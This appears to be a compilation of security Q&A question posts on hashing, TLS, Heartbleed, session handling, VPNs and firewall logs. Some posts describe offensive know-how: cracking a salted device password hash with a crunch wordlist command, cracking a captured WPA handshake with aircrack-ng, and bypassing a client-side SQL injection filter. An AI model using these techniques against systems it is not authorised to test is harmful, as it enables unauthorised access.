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What's some good advice on eliminating collisions when hashing things? I need a unique identifier for all my users, but I want them to be private. I'm thinking of using ODIN-1 (https://code.google.com/p/odinmobile/wiki/ODIN1), a sha1 of different device-specific identifiers; MAC for iOS, AndroidID for Android and DeviceUniqueId for Windows Phone.
However, what's the collision risk on those hashes? Would using another hashing function help? Another input? Platform-specific prefix? I really need every legitimate hash to be unique.
Let's ignore users who fake their hashes for now, since I cannot really do that much about them. Client side security is what it is.
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We have developed a search engine (simple search, no login required) where users can search details in the database (Apache Lucene) by entering their name (et. al.), then clicking the search button. The search invokes a asynchronous HTTP GET request (an AJAX call on the same domain) to the server which in turn calls the search engine. The response is a JSON object.
I have disabled the "Allow cross origin access" policy on the server. It seems that an attacker is continuously hitting the search server programmatically to download the data. We know this because the number of hits on the search server is much larger than the one shown by Google Analytics for the index page.
Other developers have suggested the following:
Create a session for the search.
Put captcha on the index page and verify it on the server.
They suggest that someone can still programmatically make GET requests with parameters and hence perform a search, explained by the huge difference between page visits and visits to the index page.
This confuses me:
Whether captcha is really required for an application which only fetches information, apart from making the usability worse?
If I have disabled "cross origin access", how can someone programmatically invoke calls to the server?
Are there better ways to approach this (especially captcha)?
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Google Chrome doesn't do typical CRL/OSCP checks, instead it depends on CRLsets. In simple terms, Google scoops up the CRLs from most CAs, trims them down and delivers the CRLset to the browser via the update mechanism. They claim this is more secure, but it only seems to artificially speed up the browser.
Soft Fail
Much like an attacker can terminate the OCSP request, they could also drop traffic to/from the Chrome update service. Receiving the new CRLset seems prone to the same flaws in relying on the information arriving at the browser. If the attacker has control of the transport layer, how can we expect to receive new information?
Incomplete
In light of Heartbleed, and the proof that private keys can be retrieved, the number of certificate revocations taking place is likely to explode. To continue expanding the CRLset to incorporate all of these new revocations seems like a cumbersome process. Unless Chrome only receives a delta of the list, there is the potential for the file to become quite large. Whilst Google trim the list, and not all CAs are included, this only seems to make the problem around how complete the list is worse.
Delay
Once a revocation request is processed by a CA, their CRL and OCSP responses will reflect that. Without knowing what the lag time on an update hitting the CRLset is exactly, it's hard to say just how bad this will be. If an attacker gains access to a private key, they are likely to use it as soon as possible. As such, the browser needs to know about the revocation at the earliest possible opportunity. It seems the best way to do this is to ask the CA directly (or depend on OCSP stapling).
Performance / Privacy
Certificate revocation checks come with an inherent performance and privacy cost. The browser needs to perform a DNS look up and TCP round trip to the CA and wait for a response. You've also just disclosed your IP and the sites you visit to the CA. Whilst a CRLset avoids both of these issues, OCSP stapling allows a host to do the same. IIS has OCSP stapling out of the box and Apache/NginX both support it with minimal configuration.
Whilst the CRLset does offer some benefits, I would have thought it would be better working in tandem with CRL/OCSP checks, rather than instead of, which is how Chrome is configured by default. The browser can use the CRLset as a 'quick reference' for high importance, revoked certificates, and then continue with normal checks as you would expect.
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Background:
I am currently trying to crack a salted md5 hash which I have recovered from an embedded device running busybox and manufactured in china.
I have tried john the ripper using all of the wordlists I could find in Kali.
I have tried cloudcracker and that returned no results.
I am currently brute-forcing on a machine with several GPUS using oclHashcat but haven't got anything back yet.
I have a serial console on the device which is in English. I have a low privileged account with the username jdoe and no password. I have handed this to someone who is much better at Linux privesc than I am.
I want to ensure that the device does not have a noddy password in Chinese. I.e. whatever the equivalent of "password" "hello" "letmein" etc. would be if you were a electronics factory in Shenzhen.
I am aware that there are multiple Chinese dialects but would be interested in wordlists from any of them as it would be worth a try anyway and they may be useful on similar devices.
TLDR: I have tried Google and had difficulty finding Chinese or "pinyin" wordlists suitable for dictionary attacks. I have searched this site and found some good sources for wordlists which I will probably try next but they are mainly in English and I have not seen any in Chinese.
Does anyone know of a good source for them?
Edit: Further searching has found me this http://www.backtrack-linux.org/forums/showthread.php?t=27764 which I will try. I am unsure if that will provide decent coverage for my purposes though.
Edit 2:
I have posted an ascii seed symbol wordlist generated from the top answer below at http://pastebin.com/aHrnZF57
This should be able to be used to generate wordlists of your desired length by using the "crunch" wordlist generator or your favourite alternative tool.
For example:
Save the raw pastebin data as seed.txt in your home directory then invoke:
crunch MIN MAX -q ~\seed.txt -o myOutputWordlist.txt
The same can be done by substituting my seed list with some of those available from the backtrack-linux forums thread linked above.
Hope this helps anyone with this problem - Happy bruteforcing :)
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I have been following this very useful post by Thomas. My use case is slightly different. I am developing a mobile application which requires some sensitive data to be stored on the device in a SQLite File. I am using SQLCipher for encrypting the file. The encryption key is based on a 10 character long(at least one upper-case, one lower-case, one symbol and one number) pass-phrase entered by user at first authentication on that device. SQLCipher internally uses PBKDF2 to generate the encryption key. As per the NIST Publication the entropy for this pass-phrase is around 28 bits.
So according to the formula in post referred above:
v * 2n-1 >> f * p
v: Time required to compute derived key(DK) using one candidate pass-phrase using PBKDF2 function.
n: Entropy of the pass-phrase in number of bits.
2n: Total possible combinations using n bits.
2n-1: Average of 1 and 2n. The average number of candidate pass-phrases to be tried before actual pass-phrase is cracked.
f: Factor representing the computational power available to attacker relative to the system that ‘v’ was calculated on.
p: Patience of the attacker in terms of time.
p comes out to be 7.77 days, using f = 200 (attacker having 200 times the computation power) and using 1 second for one key derivation. As mentioned above, n = 28.
Now coming to my questions:
What is a realistic estimate for f. I know no one can come up with exact value, but estimates like worst case, average case, etc. would be useful.
NIST Publication referred above also suggests using dictionary along with composition rules to ensure stronger passwords. I have downloaded password dictionaries here. Now I want to know what does NIST publication mean by transformations of dictionary words? Does it mean that if dictionary contains word "rock" should I disallow all pass-phrase that have rock in them? So rejecting rock@Ston3e even though it seems a strong password.
I want to use pepper, so here is how I am planning on using it. Pass-phrase is input to PBKDF2 and [random-salt(256bit)+pepper(256 bit)] is the salt for the operation. Several thousand iterations. Then feed the resulting hash to SQLCipher which itself performs 64000 iterations of PBKDF2 with 128 bit salt to reach the encryption key. Is there any problem with the above suggested use of pepper and PBKDF2?
One of my colleagues suggested not storing hashed pass-phrase anywhere on disk. Rather do a SQLite query to fetch some user info from database(this info is needed anyway and hence no overhead). SQLCipher will give an error if pass-phrase entered is wrong since encryption key generated will also be wrong and decrypted SQLite data won't make any sense (not properly formatted as expected by SQLCipher). The advantage I see in this approach is that now hashed pass-phrase is not stored as it is but still its information is distributed in SQLCipher data. So now attacker can not copy hash value from a file and paste it in his/her code and run an offline dictionary attack. He or she can still copy the SQLite file to his/her computer, but now to verify the pass-phrase, an attacker will have to carry out database queries or at least validate the database in some way. My assumption is that while GPUs are fast at calculating hashes, they can't perform these database operations with the same efficiency. Hence the idea is to slow the attacker down by introducing operations that his or her hardware is not optimized for. Is my assumption correct?
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We use a well-known service provider/API management gateway that sits in front of our RESTful APIs providing key management functionality etc. etc.
The service provider was running the dodgy OpenSSL version.
None of our web services have SSL enabled, though we use API keys to throttle API access, measure usage.
Traffic obviously arrives at the service provider's web servers which acts as a proxy and talks to our web servers.
If the infrastructure of the service-provider is such that many customers share a web-server instance and at least one customer has SSL enabled, then does that expose all customers, including those not using SSL, to the threat?
Apparently, the bug will not allow memory to be read outside of the process address space, so the answer is hinged around how the proxy web server runs a process per customer.
Has anyone covered this scenario?
Hypothetical Scenario
I am a programmer working for APIs-r-Us. Instead of running a separate website and process for each of my thousands of customers, sharding and all that, I write the proxy system as a single stateless web service running in a website instance handling all requests to apisrus.net
My service handles both SSL and non-SSL traffic.
My service uses some rules based on the URL to route requests to different customer web services. API consumers talk to my service and my service talks to the customer's real service, payloads can even be converted or augmented by my service before being sent back to the API consumer.
Loaded into process memory are the various routes and credentials to access my customer's APIs, as well as the keys and hashes use to authenticate the users.
All traffic is going via a single process, so if this process memory is compromised, then all customers are compromised.
I'm assuming that OpenSSL is loaded into the address space of the website (and not the server pipeline).
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me for learning SQLI. But I got stuck at this one regex which seems to be unbreakable :
document.loginForm.username.value = document.loginForm.username.value.replace(/[^a-zA-Z0-9]/g, "");
If someone could give me any hint to this one?
:)
Thanks
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BlueStacks is an android simulator for desktop. After installation it will ask you to login with your Google account to download and install android app from play-store.
My question is "Is it safe to sign in to Google account with password from a desktop app"?
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I am designing an authorization framework and now I am thinking about the error codes which I should return when someone is trying to access a resource and he doesn't have the required permissions. These are my thoughts so far:
case: The user is not authenticated, he is seen as "anonymous" -> Here I think 401 would be the right status code, so the user gets the opportunity to authenticate itself.
case The user is already authenticated. I would return 404 NOT FOUND. RFC2616 states that if we don't want to reveal exactly why the request has been refused, 404 is a good way to go.
I am also thinking to ad another case for the user: ADMIN. If ADMIN is unauthorized he should get customized responses, so he would know exactly what the problem is.
What do you think about this? Does it make sense? How could someone exploit this?
Do you think that it is better to use 404 for everything or would you differentiate between 403 and 404, and why?
Is there any good literature regarding this subject? (I have already searched and found nothing conclusive)
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I'm developing an application (C#) for Microsoft SharePoint platform that uses SQL Server's (2008 R2) Remote BLOB Storage (RBS) technology. To accomplish certain client-side tasks, I must obtain username/password pair from the database and pass it to a constructor that looks like this (MSDN):
public BlobStoreCredentials(string credentialName, byte[] credentialSecret)
Note that credentialSecret here expects a decrypted password; the password is encrypted internally after the constructor call.
Microsoft, for reasons unknown to me, by-design stores RBS passwords that I can feed to the above constructor symmetrically encrypted in the database, with encryption key stored inside the same database (to create/insert passwords, a Microsoft-provided stored procedure that accepts a plain-text password is used). From what little I know about security, this is no-go, correct?
To obtain a valid byte[] credentialSecret, I am apparently supposed to use a query that looks somewhat like this and returns username and decrypted password:
OPEN SYMMETRIC KEY skey
DECRYPTION BY CERTIFICATE cert;
SELECT [username], CONVERT(nvarchar, DecryptByKey(password))
FROM [credentials]
WHERE [id]=@userId;
I can then feed the decrypted password to the constructor (client-side) which encrypts it internally, uses it to perform some tasks and disposes the credentials at the end (see MSDN sample code above).
It seems to me that many things are very wrong with this design. Even if I decided to deploy a custom orthogonal database for storing one-way hashed passwords only, I would at one point need to "decrypt" them to plain-text to feed them to the constructor above.
My question is, are there ways to reasonably minimize security issues with this approach while accepting the premise of the question (i.e. I need to pass decrypted credentials to the constructor), or is this design inherently so insecure that it's beyond improvement? It's not just the technical aspect, but also about how to communicate situations like this to employer and just how to react (as a non-security guy) in general when dealing with a situation that seems to force me to use bad security design? The solution I presented obviously works, but it is - as far as I know - bad security-wise, not to mention it resembles a Rube Goldberg device.
(I apologize if this question is not specific enough for this site, but I don't know where else to evaluate my options.)
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I need to login desktop application while autostart on server (like skype does). What is the best practice to save authentication token (password)? Should I use something like RSA encryption (which typically used for .config connectionstrings encryption in ASP.NET applications)?
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I am using a Proxy for example UltraSurf, if I try to open a URL in my web browser, obviously web browser is going to send this information to my Proxy, then Proxy is going to communicate my Gateway.
So my gateway or firewall will know which URL I am trying to open? if no then how proxy hides this thing?
Updatedd - More details:
To be clear I am talking about Proxy Application running on my system. For example UltraSurf. So this proxy application which is running on my PC will obviously be using the gateway which I have mentioned in my LAN Adapter. So visually,
Browser (application on my PC) -> UltraSurf (proxy application on my PC) -> internet
What UltraSurf does is, it starts listening on a port for example 4545, and it changes the Internet Explorer Proxy setting and set Proxy Server to 127.0.0.1, port 4545
Which is showing that whenever I will put a URL in internet explorer address bar, the internet explorer is going to ask Proxy Server to open this website. At this point the proxy server is an application which is running my PC, so it means browser is asking the application to open the Web page.
Now this application is going to go to the internet using my Gateway mentioned in LAN Adapter.
The question is -> is it directly communicating with the website which is mentioned in Internet Explorer browser, or is it going to communicate its own server and that server is going to open the website?
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We are in the process of implementing a Bring Your Own Device policy to allow our many employees to use their personal laptops and desktops (Windows platform) to VPN into our company's network. These employees will then remote desktop into their PC's located in our internal network.
Since we are PCI compliant this brings up various security concers:
Can we wipe a device that VPN's in to our network remotely upon termination or other event? (legally? what software does this?)
Can we make sure only to wipe files/data that came from the company?
Can we ensure that the remote PC/Laptop is virus free?
Can we ensure that the remote PC/Laptop has the most recent windows updates, java, flash?
Is there a way to drop a certificate for VPN that will expire, making it no longer usable by that machine? (Currently, it looks like our CiscoAnyConnect software is dropping a cert that doesn't expire or self destruct)
What would we need to ensure our PCI compliance?
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first post here so be gentle please!
I understand the Heartbleed vulnerability concept, and I have a general grasp of Python. I'm struggling to understand the PoC Python code though, so was after a bit of code dissection :)
Particularly the two sections where it defines the 'hello' and'hb' message? I watched the messages going across the wire in Wireshark and can clearly see the hex going back and forth. Then comparing this to a normal SSL connection it's fairly similar.
So I'm guessing the content of that hex is setting up the SSL connection and heartbeat request? But can anyone explain the hex involved, or more specifically what this is derived from?
I've seen the RFC that defines the heartbleed extension, but for some reason I can't translate that into how this hex has been derived. Am I being stupid or just missing something?!
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It seems somewhat unsafe to move the private portion of one's key around to multiple machines...but it also seems odd to have multiple identities floating around.
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I ran TestSSLServer.exe (from http://www.bolet.org/TestSSLServer/) against a web server in my organization. The results seemed self explanatory save for one section I'm not sure how to interpret. Here are the full results of the scan:
C:\temp>TestSSLServer.exe 1.2.3.4 443
Supported versions:
SSLv2 SSLv3 TLSv1.0
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
SSLv2
RC4_128_WITH_MD5
RC4_128_EXPORT40_WITH_MD5
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
RSA_WITH_RC4_128_MD5
RSA_WITH_RC4_128_SHA
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
DHE_RSA_WITH_DES_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
DH_anon_EXPORT_WITH_RC4_40_MD5
DH_anon_WITH_RC4_128_MD5
DH_anon_EXPORT_WITH_DES40_CBC_SHA
DH_anon_WITH_DES_CBC_SHA
DH_anon_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
(TLSv1.0: idem)
----------------------
Server certificate(s):
b9f26b0aaa19e8c45ad1571adb9fe818dbbe7fab: CN=CONTOSO, OU=FOR TESTING ONLY,
O=MyOrganization, L=MyTown, S=MyState, C=US
----------------------
Minimal encryption strength: weak encryption (40-bit)
Achievable encryption strength: strong encryption (96-bit or more)
BEAST status: protected
CRIME status: protected
Does anybody know what (TLSv1.0: idem) indicates? Although TLSv1.0 is listed under "Supported versions", my best guess is that TLSv1.0 may be supported, but the server doesn't provide any ciphers that may be used, effectively rendering TLSv1.0 unsupported.
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I am using HOTP to generate OTP to validate a request, in order to prevent replay attacks. I'm thinking about using a window of 10 (or so) iterations to accommodate a possible mismatch in the counter of client and server, but i am a bit concerned about the way i should treat those iterations.
Should i reject every token that is less than the last confirmed counter? Or can i have a little margin there?
EDIT:
The reason for me to ask is because i am doing a "three party authentication", by this i mean the device owner authenticates itself by sending a token (with the HOTP in it) and another server will then use it to get something out of a resource server (a bit like oauth but...). So if the device owner authenticates 2 servers the counter will be 1567 and 1568, but if the second server (with the 1568 counter) gets to the resource server first, then the other one will be rejected
Thank you.
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I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each.
The problem is that I dont really trust Windows security wise(which will be used for gaming). So I figured a solution to having 3 different drives, 1 for Windows and 2 more for my linux OSs. Security wise all three systems will be encrypted using TrueCrypt and the other drives disconnected when one system is in use. But that still leaves one attack vector... the hardware itself.
Can using one system and then booting into a second system with the same hardware but the previous systems drive removed be an attack vector? And if yes what are some possible ways to prevent it?
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What is the difference between these openssl commands:
"openssl genrsa"
"openssl genpkey"
"openssl req -newkey rsa:bits [everything else]"
Which one should I be using when preparing a new CSR?
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I am working on a web site and am considering using OpenID for authentication. The site will have some low cost ($3-$5) premium services, but will not be protecting particularly sensitive user data, just saved game state. From my point of view, my main concern for authentication is that the person who paid for those services is the same person using those services. I don't care about verifying that user belongs to a particular email address or other public identity.
What risks do I open myself up to if I allow using johndoeblog.com/openid versus a well-known provider like Google? Perhaps the user himself trusts his own private server more than Google? Why should I force him to trust the same auth providers I trust?
The one factor I can see is the user either voluntarily sharing his credentials or them being compromised, thus allowing multiple people to access the premium services, but that's a problem I have to mitigate no matter what auth provider I use. What am I missing here?
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My IP address is 181.224.153.95 Domain: www.ashaybythebay.com
FTP Hostname: m23.siteground.biz
I added private domain servers to my domain name ashaybythebay.com and I see the two IP server addresses listed in my DNS settings. Here they are on the robtex.com report.
ns1.ashaybythebay.com. 600 IN A 181.224.153.233
ns2.ashaybythebay.com. 600 IN A 181.224.153.234
The server IP address are listed in Panama.
Yet on my cpanel I see two other DNS server IP addresses and my server is supposed to be located in Chicago. Here they are:
ns1.m23.siteground.biz (184.154.158.138)
ns2.m23.siteground.biz (181.224.153.102)
My shopping cart states that my server also is 184.154.158.138
Since discovering this I have denied both private DNS IP servers to keep the hackers out.
What do you think is happening?
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I am creating a database to store our client's information at work (a heritage center specializing in DNA based genealogy). Once the results of a test come back, we have people that use the information generated on sites such as 23andMe to find relatives and send out invitations for relatives to connect with our clients. This is done with the client's permission. The accounts belong to the clients, they just give us permission to use them. This is why we do not use our own user names and passwords (the client needs to be able to log in to the websites too).
I have the database entry program mostly done, but one thing I need to be able to do is pull up their username and passwords (in plain text) so we can log onto the 3 different websites we use.
What I want to do is create an overall password that when applied to what is entered into the password field in the data entry program (to save the password) or pulled from the DB (retrieve password), it is convertible to plain text (be able to go back and forth from plain to encrypted using 1 key).
Then each of our employees with permission to view the plain text password has their own unique password that when entered make the key mentioned above.
The database I am working with is MySQL and the program our workers are using to manipulate the MySQL DB is being written in Java. Any Java based examples or links to examples would be great.
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What I've Read
I'm read the following resources on session fixation, but I'm still having difficulty understanding some aspects of this kind of vulnerability:
Ruby on Rails Security Guide § 2.7 Session Fixation.
Preventive Measure for detecting Session Fixation attacks.
Session fixation attack.
Wikipedia: Session fixation.
Let's assume that sessions IDs are server-generated, and that they're stored and accessed from cookies, not passed around via GET and POST requests. The Rails guide in link #1 above describes the attack like this (summarized from source, emphasis mine):
The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application.
The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
As the new trap session is unused, the web application will require the user to authenticate.
From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
What I Don't Understand
Now here's the part that I don't understand. Leaving aside the fact that an effective counter-measure against this attack is to simply issue a new session ID to the victim user when they login to the legitimate site, why does the legitimate server require the victim user to login anyways, even though they already have a "valid" session ID?
After all, the attacker has been maintaining the validity of the fixed session ID beforehand (as pointed out in step #2 in the Rails security guide quoted above), so why wouldn't the server just accept the session ID and log the victim user into the website as the attacker? Why are login credentials required again?
Note that this question is not specific to Ruby on Rails. It applies to any implementation of user sessions, in any framework and language.
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In the Blue Midnight Wish (BMW) cryptographic hash function, is there a variable I can use to increase memory/CPU resource consumption to slow down the password hashing process? Call me crazy, but I really like BMW and I'd like to use it to hash passwords. It's obscure, so a bit better, but I am also paranoid, so I need to increase hashing time.
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I plan on installing a VPN server on one of my computers that is running Ubuntu for purposes of connecting to my local network while I am not at home.
At home I also have a desktop computer (separate from the one I'm going to install OpenVPN on). My question is: is there any point to connecting my desktop computer through the VPN that I am setting up on a computer that is also on my local network? Are there any security benefits to this?
Sorry if this is a n00b question!
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I want introduce Flurry API in my iOS app. But I heard since 2014 Australia start an act to against web page and mobile app to collect user information.
My question is simple:
Does using of API Flurry break Australian law? or any kind of regulations?
P.S.
IN CISSP, Law and regulation is part of Information Security. That is reason I post my question here. Thank you.
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So, I am wondering - is it possible for an attacker to sniff traffic on an Ethernet connection if they are not physically plugged into the modem/router hardware but they are connected through wifi? In this scenario the attacker is connecting via wi-fi and the victim is connecting through Ethernet. So both the victim and the attacker are on the same network just using different interfaces.
From my understanding the attacker who is connected to the modem/router through wifi is not going to be able to sniff Ethernet traffic on the same modem/router because they do not have physical access via a network cable to the modem/router. Is this correct?
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I noted that on a lot of money-related websites (banks, paypal, etc), you are brought to a page that "logs you in securely". This is an example of one:
Meanwhile, websites that also store very sensitive information, such as google wallet, facebook, etc (all of which use SSL), don't use this page. What is the advantage of this, and why is it only used on some websites?
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Through reading from multiple sources and watching Security Now's How the Heartbleeds, I have come to the understanding that the following procedure is recommended to be safe from the Heartbleed vulnerability (assuming that the user's browser reacts correctly to revoked TLS certificates, which I know may not be the case for all browsers right now, but let's leave this issue aside for the moment):
Upgrade to a patched version of openssl
Regenerate the TLS certificate (rekey)
Revoke the previous certificate
Doing the previous steps would:
Prevent exploitation of the Heartbleed vulnerability to steal the new key (because of 1. and 2.)
Protect users from Man in the Middle attacks using a stolen key (because of 3.)
Now, I know that there are multiple tools to see if a website is currently unsafe (1. did not update) or potentially vulnerable (2. did not rekey), but how can I know if a website revoked its previous certificates?
I believe I could check for a specific key (if it is known) using tools (which I assume use OCSP or CRLs), but is there a way to access previous keys of a website?
It is purely out of curiosity, but I would like to verify when a website says "we are safe now" that they really did revoke their certificates as well as update openssl and regenerate the keys.
Thank you very much for your precious time and pardon the potential mistakes caused by my lack of knowledge in the field of information security.
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I have a VM in VirtualBox with two network adapters: a Host-only adapter and a NAT adapter; I was wondering if the VM gets compromised, is my Host-only adapter putting my host in danger?
--- reasoning:
Host-only to putty in
NAT for internet access
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I'm having problems with SSL certs and my SSL accelerator. I have a Sonicwall SSL-R and it only supports SSLv2, SSLv3, and TLS1.0. I have it configured to decode SSL with SSLv3 as the TLS1.0 implementation on it doesn't seem to work with most browsers. So with it configured as SSLv3, it works with Chrome, Safari, and Firefox, but not IE11.
It seems that IE11 on Windows 8.1 will not fall back to using SSLv3. Strangely, if I go into advanced setting on IE11 and disable all TLS options and leave only SSLv3 checked, then it WILL work. It just doesn't seem to fallback properly unless I uncheck the TLS settings in advanced options.
Anyone have any idea why IE11 isn't falling back to using SSLv3?
Thanks in advance for any light you can shed upon this.
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So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the right term for a .hash file). I've learned how to use crunch - but it is obviously insanely slow. I read somewhere that you can scan hash tables at about 18000 keys/sec on a fast computer (mine is a MacBook Pro - maybe someone could help me figure out how well mine will fair). I am using aircrack-ng to accomplish the handshake - and I've been told I can use JTR, cowPATTY, Reaver, oclHashcat, etc., but I can't figure out how to get aircrack-ng to work with one of these programs, so that I can parse the .hash files. Right now, from what I have read - I am approaching it from the angle that I need to use a program like oclHashcat. However, due to my computer specs (Intel 3rd gen onboard graphics) - oclHashcat won't work. I am now under the impression that I need to convert the .hash files to a .cap file. I also was able to get one of the above programs to work with aircrack-ng on a single .hash file - but I realized they all need to be the same name as the ESSID you are trying to crack. I tried simply merging them with the mv command - but I knew in my heart of hearts that wouldn't work! I am using Kali Linux - any help would be appreciated (stergling n00b).
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I have seen some suspicious outbound communications blocked on my VPS, which hosts a small experimental Web site, and want to find out which application is making the attempt. The server is running CentOS and I'm using iptables for the firewall. Here is an excerpt from my iptables rule set:
# create a new chain for rejecting certain ip addresses
-N input_tcp_deny
-A input_tcp_deny -m limit --limit 5/min -j LOG --log-prefix "tcp/ip input denied " --log-level 6
-A input_tcp_deny -j REJECT
# create a new chain for rejecting certain ip addresses
-N output_tcp_deny
-A output_tcp_deny -m limit --limit 5/min -j LOG --log-prefix "tcp/ip output denied " --log-level 4
-A output_tcp_deny -j REJECT
-A INPUT -p tcp -s 171/8 -j input_tcp_deny
-A OUTPUT -p tcp -d 171/8 -j output_tcp_deny
-A INPUT -p tcp -s 141/8 -j input_tcp_deny
-A OUTPUT -p tcp -s 141/8 -j output_tcp_deny
-A INPUT -p tcp -s 103/8 -j input_tcp_deny
-A OUTPUT -p tcp -d 103/8 -j output_tcp_deny
iptbles -nvL output shows:
Chain output_tcp_deny (91 references)
pkts bytes target prot opt in out source destination
6 120 LOG all -- * * 0.0.0.0/0 0.0.0.0/0 limit: avg 5/min burst 5 LOG flags 0 level 4 prefix `tcp/ip output denied '
6 120 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable
Looking in the iptables log file shows:
Apr 9 00:19:25 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=171.64.65.117 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=15407 DF PROTO=TCP SPT=46898 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Apr 9 00:19:25 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54582 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 9 00:19:25 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.219.155.233 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=49 ID=0 DF PROTO=TCP SPT=80 DPT=54760 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 9 00:19:26 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=171.64.65.117 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=15408 DF PROTO=TCP SPT=46898 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Apr 9 00:19:26 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54582 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 9 00:19:26 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.219.155.233 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=49 ID=0 DF PROTO=TCP SPT=80 DPT=54760 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 9 00:19:26 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54582 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:55 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54742 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:55 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.216.10.182 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=49 ID=0 DF PROTO=TCP SPT=80 DPT=53542 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:56 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54742 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:56 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54742 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:58 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=103.25.63.44 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=43399 DF PROTO=TCP SPT=45638 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Apr 12 11:48:58 servername kernel: tcp/ip input denied IN=eth0 OUT= MAC=macnotshared SRC=141.214.186.162 DST=serverip4addr LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=0 DF PROTO=TCP SPT=80 DPT=54742 WINDOW=14480 RES=0x00 ACK SYN URGP=0
Apr 12 11:48:59 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=103.25.63.44 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=43400 DF PROTO=TCP SPT=45638 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Apr 12 11:49:01 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=163.178.174.25 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=59335 DF PROTO=TCP SPT=37733 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Apr 12 11:49:02 servername kernel: tcp/ip output denied IN= OUT=eth0 SRC=serverip4addr DST=163.178.174.25 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=59336 DF PROTO=TCP SPT=37733 DPT=80 WINDOW=29200 RES=0x00 SYN URGP=0
Looking up the IP addresses for blocked outbound communications:
- 171.64.65.117 stanford.edu
- 103.25.63.44 Hong Kong Wholesale Data Center LLC
Inbound blocked communications happened very close in time so I looked those up too:
- 141.214.186.162 University Of Michigan
- 141.219.155.233 mtu.edu (University Of Michigan)
- 141.216.10.182 umflint.edu (University Of Michigan)
For anyone who is curious, I also have IPV6 completely blocked (but no logs) and have seen this from ip6tables -nvL:
Chain OUTPUT (policy DROP 8 packets, 536 bytes)
So I have dates, times and ip addresses. But now I would like to find out what open source software is doing this.
|
Is/was CNN Money Portfolio ever vulnerable to heartbleed? It states 256 bit SSL bank level encryption on the website..
|
We currently have the need to authenticate and verify generated keypairs. Our system allows users to register for our service which generates them a key-pair for use on our network. We are in need of a way to authenticate key-pairs so that we can verify they were generated by us, and not by someone else.
Is it possible to sign each of the generated key-pairs with a master key that can then be used to verify each generated key-pair? I thought this must be possible because it is somewhat similar to the way in which certificates work.
